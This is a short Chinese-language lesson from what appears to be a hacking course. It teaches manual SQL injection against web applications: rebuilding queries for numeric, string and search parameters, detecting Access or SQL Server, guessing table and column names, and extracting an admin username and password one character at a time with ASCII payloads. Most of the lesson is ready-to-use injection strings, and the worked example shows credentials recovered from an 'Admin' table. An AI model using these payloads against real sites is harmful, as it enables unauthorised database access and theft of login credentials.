首先,判断环境,寻找注入点,判断数据库类型,我们在前面的课程讲过。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌.
按参数类型主要分为下面三种:
(1) ID=131 这类注入的参数是数字型,SQL语句原貌大致如下: Select * from 表名 where 字段=131 注入的参数为ID=49 And [查询条件],即是生成语句: Select * from 表名 where 字段=131 And [查询条件]
(2) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下: Select * from 表名 where 字段=’连续剧’ 注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句: Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(3) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下: Select * from 表名 where 字段like ’%关键字%’ 注入的参数为keyword=’ and [查询条件] and ‘%’=’, 即是生成语句: Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
实例:
第一步:判断环境,寻找注入点
第二步:判断数据类型 and (select count() from sysobjects)>0 and (select count() from msysobjects)>0
第三步:猜表名 And (Select Count(*) from Admin)>=0 如果页面就与ID=131的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
第四步:猜字段 表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。 And (Select Count(username) from Admin)>=0
PS:如果是SQLServer的库,我们可以通过提交些特殊字符来得到相关的表名和字段,我们在以后的课程中会做介绍。
第五步:猜字段的值(Ascii逐字解码法) and (select top 1 len(username) from Admin)>0 and (select top 1 asc(mid(username,N,1)) from Admin)>0
表名:admin
字段:username
字段值: username内容:xiaxiang ASCII码:120 105 97 120 105 97 110 103 password内容:345544386 ASCII码:51 52 53 53 52 52 51 56 54
PS:英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,有语言基础的朋友可以写个程序测试下,效率会有大大的提高。